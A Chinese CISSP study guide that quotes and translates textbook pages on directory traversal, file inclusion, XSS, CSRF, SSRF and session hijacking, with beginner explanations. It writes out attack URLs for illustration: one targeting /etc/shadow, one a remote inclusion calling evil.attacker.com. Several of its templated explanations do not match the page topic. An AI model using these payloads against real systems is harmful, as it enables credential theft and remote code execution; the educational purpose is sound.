学习单元 37 / PDF P1431

第 1431 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Directory traversal attacks use this knowledge and attempt to navigate outside of the areas of the file system that are reserved for the web server. For example, a directory traversal attack might seek to access the shadow password file by entering this URL: http://www.mycompany.com/../../../etc/shadow If the attack is successful, the web server will dutifully display the shadow password file in the attacker's browser, providing a starting point for a bruteforce attack on the credentials. The attack URL uses the .. operator three times to navigate up through the directory hierarchy. If you refer back to Figure 21.5 and use the /var/www/html directory as your starting point, the first ..

operator brings you to /var/www, the second brings you to /var, and the third brings you to the root directory, /. The remainder of the URL brings you down into the /etc/ directory and to the location of the /etc/shadow file. File Inclusion File inclusion attacks take directory traversal to the next level. Instead of simply retrieving a file from the local operating system and displaying it to the attacker, file inclusion attacks actually execute the code contained within a file, allowing the attacker to fool the web server into executing targeted code.

File inclusion attacks come in two variants: Local file inclusion attacks seek to execute code stored in a file located elsewhere on the web server. They work in a manner very similar to a directory traversal attack. For example, an attacker might use the following URL to execute a file named attack.exe that is stored in the C:\www\uploads directory on a Windows server: http://www.mycompany.com/app.php? include=C:\\www\\uploads\\attack.exe Remote file inclusion attacks allow the attacker to go a step further and execute code that is stored on a remote server.

These attacks are especially dangerous because the attacker can directly control the code being executed without having to first store a file on the local server. For example, an attacker might use this URL to execute an attack file stored on a remote server:

中文直译 / 整理

目录遍历攻击利用这一知识,试图跳出 Web 服务器所限定的文件系统区域。 例如,目录遍历攻击可能通过输入以下 URL 来尝试访问 shadow 密码文件: http://www.mycompany.com/../../../etc/shadow 如果攻击成功,Web服务器将忠实地在攻击者的浏览器中显示shadow密码文 件,为暴力破解凭证提供起点。 该攻击URL使用..操作符三次,以在目录层次 结构中向上导航。 如果参考图21.5并以/var/www/html目录作为起点,第一个.. 操作符将带你到/var/www,第二个将带你到/var,第三个将带你到根目录/。 URL的其余部分将带你进入/etc/目录,并到达/etc/shadow文件的位置。 文件包含 文件包含攻击将目录遍历提升到下一个级别。 与简单地从本地操作系统检索文 件并显示给攻击者不同,文件包含攻击实际上会执行文件中包含的代码,使攻 击者能够欺骗Web服务器执行目标代码。 文件包含攻击有两种变体: 本地文件包含攻击旨在执行存储在Web服务器其他位置的文件中的代码。 其工作方式与目录遍历攻击非常相似。

例如,攻击者可能使用以下 URL来执行存储在Windows服务器的C:\www\uploads目录中的名为 attack.exe的文件: http://www.mycompany.com/app.php? include= C:\\www\\uploads\\attack.exe 远程文件包含攻击允许攻击者更进一步,执行存储在远程服务器上的代码。 这些攻击尤其危险,因为攻击者无需先将文件存储在本地服务器上,即可 直接控制要执行的代码。 例如,攻击者可能使用以下URL来执行存储在远 程服务器上的攻击文件:

小白解释

场景先行:你是公司的安全负责人,正在读第 1431 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

如果这一页没有明显术语,就按“谁在做事、保护什么、怕什么、用什么控制、留下什么证据”来拆。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1431 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解

本页没有识别到重点术语,按原文顺序理解即可。

学习单元 38 / PDF P1432

第 1432 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

http://www.mycompany.com/app.php? include=http://evil.attacker.com/attack.exe When attackers discover a file inclusion vulnerability, they often exploit it to upload a web shell to the server. Web shells allow the attacker to execute commands on the server and view the results in the browser. This approach provides the attacker with access to the server over commonly used HTTP and HTTPS ports, making their traffic less vulnerable to detection by security tools.

In addition, the attacker may even repair the initial vulnerability they used to gain access to the server to prevent its discovery by another attacker seeking to take control of the server or by a security team who then might be tipped off to the successful attack. Exploiting Web Application Vulnerabilities Web applications are complex ecosystems consisting of application code, web platforms, operating systems, databases, and interconnected application programming interfaces (APIs). The complexity of these environments, combined with the fact that they are often public-facing, makes many different types of attacks possible and provides fertile ground for penetration testers.

We've already looked at a variety of attacks against web applications, including injection attacks, directory traversal, and more. In the following sections, we round out our look at web-based exploits by exploring cross-site scripting, cross-site request forgery, and session hijacking. Cross-Site Scripting (XSS) Cross-site scripting (XSS) attacks occur when web applications allow an attacker to perform HTML injection, inserting their own HTML code into a web page. Reflected XSS XSS attacks commonly occur when an application allows reflected input. For example, consider a simple web application that contains a single text box asking a user to enter their name.

When the user clicks Submit, the web application loads a new page that says, “Hello, name.” Under normal circumstances, this web application functions as designed. However, a malicious individual could take advantage of this web application http://www.mycompany.com/app.php? include=http://evil.attacker.com/attack.exe

中文直译 / 整理

当攻击者发现文件包含漏洞时,他们通常会利用它上传一个Web壳到服务 器。 Web壳允许攻击者在服务器上执行命令,并在浏览器中查看结果。 这 种方法使攻击者能够通过常用的HTTP和HTTPS端口访问服务器,使其流 量更不易被安全工具检测到。 此外,攻击者甚至可能修复他们用来获取服 务器访问权限的初始漏洞,以防止其他攻击者或安全团队发现该漏洞,从 而避免被察觉到成功的攻击。 利用Web应用程序漏洞 Web应用程序是由应用代码、Web平台、操作系统、数据库和互连的应用 程序编程接口(API)组成的复杂生态系统。 这些环境的复杂性,加上它们通 常面向公众的特点,使得多种类型的攻击成为可能,并为渗透测试人员提供了 丰富的目标。 我们已经研究了多种针对Web应用程序的攻击,包括注入攻击、 目录遍历等。 在以下章节中,我们将通过探讨跨站脚本、跨站请求伪造和会话 劫持,完善对基于Web的攻击的分析。 跨站脚本(XSS) 跨站脚本(XSS)攻击发生在Web应用程序允许攻击者执行HTML注入时, 即将其自身的HTML代码插入到网页中。 反射型XSS 当应用程序允许反射输入时,XSS攻击通常会发生。

例如,考虑一个简单的 Web应用程序,其中包含一个文本框,要求用户输入他们的姓名。 当用户点 击提交时,Web应用程序会加载一个新页面,显示“您好,name。 ” 在正常情况下,此Web应用程序按设计运行。 然而,恶意用户可能利用此Web应 用程序

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

程序:程序是一步一步怎么做。

渗透测试:渗透测试在授权范围内模拟攻击验证风险。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1432 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

Step-by-step、SOP 常对应 procedure。

渗透测试需要书面授权、范围和规则。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

输出编码、输入验证、CSP 可降低 XSS 风险。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
程序 程序是一步一步怎么做。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
注入攻击 注入攻击把恶意输入当命令或查询执行。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 39 / PDF P1433

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

to trick an unsuspecting third party. As you may know, you can embed scripts in web pages by using the HTML tags <SCRIPT> and </SCRIPT>. Suppose that, instead of entering Mike in the Name field, you enter the following text: Mike<SCRIPT>alert('hello')</SCRIPT> When the web application “reflects” this input in the form of a web page, your browser processes it as it would any other web page: it displays the text portions of the web page and executes the script portions. In this case, the script simply opens a pop-up window that says “hello” in it.

However, you could be more malicious and include a more sophisticated script that asks the user to provide a password and transmits it to a malicious third party. At this point, you're probably asking yourself how anyone would fall victim to this type of attack. After all, you're not going to attack yourself by embedding scripts in the input that you provide to a web application that performs reflection. The key to this attack is that it's possible to embed form input in a link. A malicious individual could create a web page with a link titled “Check your account at First Bank” and encode form input in the link.

When the user visits the link, the web page appears to be an authentic First Bank website (because it is) with the proper address in the toolbar and a valid digital certificate. However, the website would then execute the script included in the input by the malicious user, which appears to be part of the valid web page. What's the answer to cross-site scripting? When creating web applications that allow any type of user input, developers must be sure to perform input validation. At the most basic level, applications should never allow a user to include the <SCRIPT> tag in a reflected input field.

However, this doesn't solve the problem completely; many clever alternatives are available to an industrious web application attacker. The best solution is to determine the type of input that the application will allow and then validate the input to ensure that it matches that pattern. For example, if an application has a text box that allows users to enter their age, it should accept only one to three digits as input. The application should reject any other input as invalid. For more examples of ways to evade cross-site scripting filters, see www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet.

中文直译 / 整理

来欺骗毫无戒心的第三方。 如您所知,您可以通过使用HTML标签 <SCRIPT> 和 </ SCRIPT> 将脚本嵌入网页中。 假设您没有在姓名字段中输入 Mike,而是输入了以下文本: Mike<SCRIPT>alert('hello')</SCRIPT> 当Web应用程序以网页形式“反射”此输入时,您的浏览器会像处理其他任何 网页一样处理它:它显示网页的文本部分并执行脚本部分。 在这种情况下,脚 本只是打开一个弹出窗口,显示“hello”。 然而,您可能会更具恶意,包含一 个更复杂的脚本,要求用户提供密码并将其传输给恶意第三方。 此时,您可能在想,究竟会有人如何成为此类攻击的受害者。 毕竟,您不会通 过在提供给执行反射的Web应用程序的输入中嵌入脚本来攻击自己。 此类攻击 的关键在于,可以将表单输入嵌入到链接中。 恶意人员可以创建一个网页,其 中包含一个标题为“在第一银行检查您的账户”的链接,并在链接中编码表单 输入。 当用户访问该链接时,网页看起来像是一个真实的第一银行网站(因为 它确实是),工具栏中显示正确的地址并具有有效的数字证书。

然而,该网站 随后会执行恶意用户在输入中包含的脚本,而该脚本看起来像是有效网页的一 部分。 跨站脚本攻击的解决方案是什么? 在创建允许任何类型用户输入的网页应用时, 开发人员必须确保执行输入验证。 最基本的要求是,应用程序绝不能允许用户 在反射式输入字段中包含<SCRIPT> 标签。 然而,这并不能完全解决问题; 有多 种巧妙的替代方法可供有心的网页应用攻击者使用。 最佳解决方案是确定应用 程序将允许的输入类型,然后验证输入以确保其符合该模式。 例如,如果一个 应用程序有一个允许用户输入年龄的文本框,则应仅接受一到三位数字作为输 入。 应用程序应拒绝任何其他无效输入。 有关绕过跨站脚本过滤器的更多示例, see www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet.

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

程序:程序是一步一步怎么做。

数字证书:数字证书把身份和公钥绑定起来,由可信 CA 签发。

跨站脚本 XSS:XSS 把脚本注入到网页,让浏览器执行。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

证书不是密钥本身,而是身份与公钥的可信绑定。

输出编码、输入验证、CSP 可降低 XSS 风险。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
程序 程序是一步一步怎么做。
数字证书 数字证书把身份和公钥绑定起来,由可信 CA 签发。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 40 / PDF P1434

第 1434 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Output encoding is a set of related techniques that take user-supplied input and encode it using a series of rules that transform potentially dangerous content into a safe form. For example, HTML encoding transforms the single quote (') character into the hexadecimal format encoded string '. Developers should be familiar with a variety of output encoding techniques, including HTML entity encoding, HTML attribute encoding, URL encoding, JavaScript encoding, and CSS hex encoding. For more information on these techniques, see the OWASP XSS Prevention Cheat Sheet at https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_P revention_Cheat_Sheet.html.

Stored/Persistent XSS Cross-site scripting attacks often exploit reflected input, but this isn't the only way that the attacks might take place. Another common technique is to store cross-site scripting code on a remote web server in an approach known as stored XSS. These attacks are described as persistent, because they remain on the server even when the attacker isn't actively waging an attack. As an example, consider a message board that allows users to post messages that contain HTML code. This is very common, because users may want to use HTML to add emphasis to their posts.

For example, a user might use this HTML code in a message board posting: <p>Hello everyone,</p> <p>I am planning an upcoming trip to <A HREF= 'https://www.mlb.com/mets/ballpark'>Citi Field</A> to see the Mets take on the Yankees in the Subway Series.</p> <p>Does anyone have suggestions for transportation? I am staying in Manhattan and am only interested in <B>public transportation</B> options.</p> <p>Thanks!</p> <p>Mike</p> When displayed in a browser, the HTML tags would alter the appearance of the message, as shown in Figure 21.6.

中文直译 / 整理

输出编码是一组相关技术,用于接收用户提供的输入,并使用一系列规则将其 编码,将潜在危险的内容转换为安全形式。 例如,HTML 编码将单引号字符 (') 转换为十六进制格式的编码字符串 '。 开发人员应熟悉多种输出编码技术, 包括 HTML 实体编码、HTML 属性编码、URL 编码、JavaScript 编码和 CSS 十六进制编码。 有关这些技术的更多信息,请参阅 OWASP 跨站脚本防护 速查表: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_P revention_Cheat_Sheet.html. 存储型/持久性XSS 跨站脚本攻击通常利用反射输入,但这并不是攻击发生的唯一方式。 另一种常 见技术是将跨站脚本代码存储在远程Web服务器上,这种方法被称为存储型 XSS。 这些攻击被称为持久性的,因为即使攻击者没有主动发动攻击,它们仍会 保留在服务器上。 举个例子,考虑一个允许用户发布包含HTML代码消息的留言板。 这非常常见, 因为用户可能希望使用HTML来强调他们的帖子。

例如,用户可能在留言板帖 子中使用以下HTML代码: < > < > < > p 大家好,/p p 我计划前往<A HREF= 'https://www.mlb.com/mets/ballpark'>Citi Field</A> 观看大都会队与洋基队在地铁系列 赛中的对决。 < > < > /p p 有人对交通有建议吗? 我住在 曼哈顿,只对<B>公共交通</B> 方式感兴趣。 </p><p>谢谢! </p><p>Mike</p> 当在浏览器中显示时,HTML 标签会改变消息的外观,如图 21.6所示。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

跨站脚本 XSS:XSS 把脚本注入到网页,让浏览器执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1434 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

输出编码、输入验证、CSP 可降低 XSS 风险。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 41 / PDF P1435

第 1435 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

FIGURE 21.6 Message board post rendered in a browser An attacker seeking to conduct a cross-site scripting attack could try to insert an HTML script in this code. For example, they might enter this code: <p>Hello everyone,</p> <p>I am planning an upcoming trip to <A HREF= 'https://www.mlb.com/mets/ballpark'>Citi Field</A> to see the Mets take on the Yankees in the Subway Series.</p> <p>Does anyone have suggestions for transportation?

I am staying in Manhattan and am only interested in <B>public transportation</B> options.</p> <p>Thanks!</p> <p>Mike</p> <SCRIPT>alert('Cross-site scripting!')</SCRIPT> When future users load this message, they would then see the alert pop-up shown in Figure 21.7. This is fairly innocuous, but an XSS attack could also be used to redirect users to a phishing site, request sensitive information, or perform another attack.

中文直译 / 整理

图 21.6 浏览器中显示的留言板帖子 试图进行跨站脚本攻击的攻击者可能会尝试在此代码中插入 HTML 脚本。 例如, 他们可能会输入以下代码: < > < > < > p 大家好,/p p 我计划前往 <A HREF= 'https://www.mlb.com/mets/ballpark'>Citi Field</A> 观看大都会队对阵洋基队的 Subway 系列比赛, y 系列比赛。 </p> <p>大家有什么交通建议吗? 我住在 曼哈顿并且只对 <B>公共交通</B> 方式感兴趣。 </p><p>谢谢! </p> < > < > < > pMike /p SCRIPT alert('Cross‑site scripting!')</SCRIPT> 当未来用户加载此消息时,他们将看到如图21.7所示的警告弹窗。 这相对无害, 但跨站脚本攻击(XSS)也可用于将用户重定向至钓鱼网站、请求敏感信息或 执行其他攻击。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

跨站脚本 XSS:XSS 把脚本注入到网页,让浏览器执行。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1435 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

输出编码、输入验证、CSP 可降低 XSS 风险。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 42 / PDF P1436

第 1436 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

FIGURE 21.7 XSS attack rendered in a browser Some XSS attacks are particularly sneaky and work by modifying the Document Object Model (DOM) environment within the user's browser. These attacks don't appear in the HTML code of the web page but are still quite dangerous. Request Forgery Request forgery attacks exploit trust relationships and attempt to have users unwittingly execute commands against a remote server. They come in two forms: cross-site request forgery and server-side request forgery.

Cross-Site Request Forgery (CSRF/XSRF) Cross-site request forgery attacks, abbreviated as XSRF or CSRF attacks, are similar to cross-site scripting attacks but exploit a different trust relationship. XSS attacks exploit the trust that a user has in a website to execute code on the user's computer. XSRF attacks exploit the trust that remote sites have in a user's system to execute commands on the user's behalf. XSRF attacks work by making the reasonable assumption that users are often logged into many different websites at the same time. Attackers then embed code in one website that sends a command to a second website. When the

中文直译 / 整理

图 21.7浏览器中呈现的 XSS 攻击 一些跨站脚本攻击(XSS)特别隐蔽,通过修改用户浏览器内的文档 对象模型(DOM)环境来实施。 这些攻击不会出现在网页的HTML代码 中,但仍具有相当大的危险性。 请求伪造 请求伪造 攻击利用信任关系,试图让用户在不知情的情况下向远程服务器执 行命令。 它们有两种形式:跨站请求伪造和服务器端请求伪造。 跨站请求伪造(CSRF/XSRF) 跨站请求伪造 攻击,简称为 XSRF 或 CSRF 攻击,与跨站脚本攻击相似,但利 用的是不同的信任关系。 XSS 攻击利用用户对网站的信任,在用户的计算机上 执行代码。 XSRF 攻击则利用远程网站对用户系统的信任,代表用户执行命令。 XSRF攻击利用了一个合理的假设:用户通常同时登录多个不同网站。 攻击者随 后在其中一个网站中嵌入代码,向第二个网站发送命令。 当

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

日志:日志记录系统和用户活动,用于监控、审计和调查。

跨站脚本 XSS:XSS 把脚本注入到网页,让浏览器执行。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1436 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

IPS 放在线路中,误报可能影响可用性。

日志要保护完整性、时间同步和访问控制。

输出编码、输入验证、CSP 可降低 XSS 风险。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
日志 日志记录系统和用户活动,用于监控、审计和调查。
跨站脚本 XSS XSS 把脚本注入到网页,让浏览器执行。
学习单元 43 / PDF P1437

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

user clicks the link on the first site, they are unknowingly sending a command to the second site. If the user happens to be logged into that second site, the command may succeed. Consider, for example, an online banking site. An attacker who wants to steal funds from user accounts might go to an online forum and post a message containing a link. That link actually goes directly into the money transfer site that issues a command to transfer funds to the attacker's account. The attacker then leaves the link posted on the forum and waits for an unsuspecting user to come along and click the link. If the user happens to be logged into the banking site, the transfer succeeds.

Developers should protect their web applications against XSRF attacks. One way to do this is to create web applications that use secure tokens that the attacker would not know to embed in the links. Another safeguard is for sites to check the referring URL in requests received from end users and only accept requests that originated from their own site. Server-Side Request Forgery (SSRF) Server-side request forgery (SSRF) attacks exploit a similar vulnerability, but instead of tricking a user's browser into visiting a URL, they trick a server into visiting a URL based on user-supplied input.

SSRF attacks are possible when a web application accepts URLs from a user as input and then retrieves information from that URL. If the server has access to non-public URLs, an SSRF attack can unintentionally disclose that information to an attacker. Session Hijacking Session hijacking attacks occur when a malicious individual intercepts part of the communication between an authorized user and a resource and then uses a hijacking technique to take over the session and assume the identity of the authorized user.

The following list includes some common techniques: Capturing details of the authentication between a client and server and using those details to assume the client's identity Tricking the client into thinking the attacker's system is the server, acting as the intermediary as the client sets up a legitimate connection with the server, and then disconnecting the client Accessing a web application using the cookie data of a user who did not properly close the connection or of a poorly designed application that

中文直译 / 整理

用户点击第一个网站上的链接时,他们无意中向第二个网站发送了命令。 如果 用户恰好登录了该第二个网站,该命令可能会成功。 例如,考虑一个在线银行网站。 一个想要窃取用户账户资金的攻击者可能会前 往一个在线论坛并发布一条包含链接的消息。 该链接实际上直接指向资金转账 网站,并发出将资金转账至攻击者账户的命令。 攻击者随后将该链接保留在论 坛上,等待不知情的用户点击该链接。 如果该用户恰好已登录银行网站,则转 账将成功执行。 开发者应保护其网络应用程序免受XSRF攻击。 一种方法是创建使用安全令牌 的网络应用程序,这些令牌是攻击者无法在链接中嵌入的。 另一种防护措施是 网站在接收来自最终用户的请求时检查引用URL,并且仅接受源自本网站的请 求。 服务器端请求伪造(SSRF) 服务器端请求伪造(SSRF)攻击利用了类似的漏洞,但并非诱骗用户浏览器访 问某个URL,而是诱骗服务器根据用户提供的输入访问某个URL。 当网络应用 程序接受用户提供的URL作为输入并从该URL检索信息时,SSRF攻击就可能发 生。 如果服务器可以访问非公开URL,则SSRF攻击可能无意中将该信息泄露给 攻击者。

会话劫持 会话劫持攻击发生在恶意个体截获授权用户与资源之间通信的部分后,使用劫 持技术接管会话并冒充授权用户的身份。 以下列表包含一些常见技术: 捕获客户端与服务器之间的认证细节,并利用这些细节冒充客户端身份 欺骗客户端,使其误认为攻击者的系统是服务器,在客户端与服务器建立 合法连接的过程中充当中介,然后断开客户端连接 使用未正确关闭连接的用户或设计不佳的应用程序的 Cookie 数据访问 Web 应用程序

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

程序:程序是一步一步怎么做。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 44 / PDF P1438

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

does not properly manage authentication cookies All of these techniques can have disastrous results for the end user and must be addressed with both administrative controls (such as anti-replay authentication techniques) and application controls (such as expiring cookies within a reasonable period of time). Application Security Controls Although the many vulnerabilities affecting applications are a significant source of concern for cybersecurity professionals, the good news is that a number of tools are available to assist in the development of a defense-indepth approach to security.

Through a combination of secure coding practices and security infrastructure tools, cybersecurity professionals can build robust defenses against application exploits. Input Validation Cybersecurity professionals and application developers have several tools at their disposal to help protect against application vulnerabilities. The most important of these is input validation. Applications that allow user input should perform validation of that input to reduce the likelihood that it contains an attack. Improper input-handling practices can expose applications to injection attacks, cross-site scripting attacks, and other exploits.

The most effective form of input validation uses input whitelisting (also known as allow listing), in which the developer describes the exact type of input that is expected from the user and then verifies that the input matches that specification before passing the input to other processes or servers. For example, if an input form prompts a user to enter their age, input whitelisting could verify that the user supplied an integer value within the range 0–123. The application would then reject any values outside that range.

中文直译 / 整理

未能正确管理身份验证 Cookie 所有这些技术都可能对最终用户造成灾难性后果,必须通过管理控制(如防重 放认证技术)和应用控制(如在合理时间内使 Cookie 过期)加以解决。 应用安全控制 尽管影响应用程序的众多漏洞是网络安全专业人员的重要关注点,但好消息是, 有多种工具可协助构建纵深防御的安全策略。 通过结合安全编码实践和安全基 础设施工具,网络安全专业人员可以构建强大的防御体系,以抵御应用程序漏 洞的利用。 输入验证 网络安全专业人员和应用程序开发人员拥有多种工具,可用于帮助防范应用程 序漏洞。 其中最重要的是 输入验证。 允许用户输入的应用程序应对输入进行验 证,以降低其包含攻击内容的可能性。 不当的输入处理实践可能导致应用程序 遭受注入攻击、跨站脚本攻击和其他漏洞利用。 最有效的输入验证形式是使用输入白名单(也称为允许列表),开发人员在此 方式中明确描述用户应提供的输入类型,然后在将输入传递给其他进程或服务 器之前,验证输入是否符合该规范。 例如,如果输入表单提示用户输入其年龄, 输入白名单可以验证用户提供的是否为0–123范围内的整数值。 应用程序将拒绝 该范围之外的任何值。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

